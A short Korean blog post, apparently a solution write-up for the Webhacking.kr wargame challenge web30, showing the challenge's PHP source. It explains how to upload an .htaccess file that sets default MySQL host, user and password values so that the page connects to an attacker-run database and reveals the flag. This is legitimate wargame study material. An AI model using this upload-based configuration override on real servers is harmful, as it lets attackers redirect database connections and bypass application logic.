Post

Webhacking.kr - web30 (풀이봄)

web30 (풀이 봄)



1
2
3
4
Your personal directory is ./upload/GFijJTyQXGgs/
./upload/GFijJTyQXGgs/index.php?view_source=1

똑같이 파일 업로드를 하는 문제


1
2
3
4
5
6
7
8
9
<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>






Solution



풀이를 보니.. mysqli_connect() 함수는 인자로 host, username, port, passwd를 가지는데, 아무 인자도 넣어주지 않으면 NULL, NULL, 3306, NULL이 됨.

따라서 개인 db에서 chall30 db와 chall30_answer 테이블, flag 컬럼을 만든 뒤 외부접속용 계정 생성 후, 그 값을 넣어주면 result[0] 값으로 내가 만든 flag 값이 들어가게되므로 if문이 충족되어 /flag 페이지를 보여줄 것임.

아래는 php.ini 설정 값임.


1
2
3
4
5
6
7
8
mysqli.default_host string
The default server host to use when connecting to the database server if no other host is specified.

mysqli.default_user string
The default user name to use when connecting to the database server if no other name is specified.

mysqli.default_pw string
The default password to use when connecting to the database server if no other password is specified.


.htaccess 파일에 아래와 같은 내용으로 넣어주면 됨.


1
2
3
mysqli.default_host "IP주소"
mysqli.default_user "생성한 외부접속용 계정"
mysqli.default_pw "계정 비밀번호"

업로드 후 경로로 가보면 flag가 있다고 함..






This post is licensed under CC BY 4.0 by the author.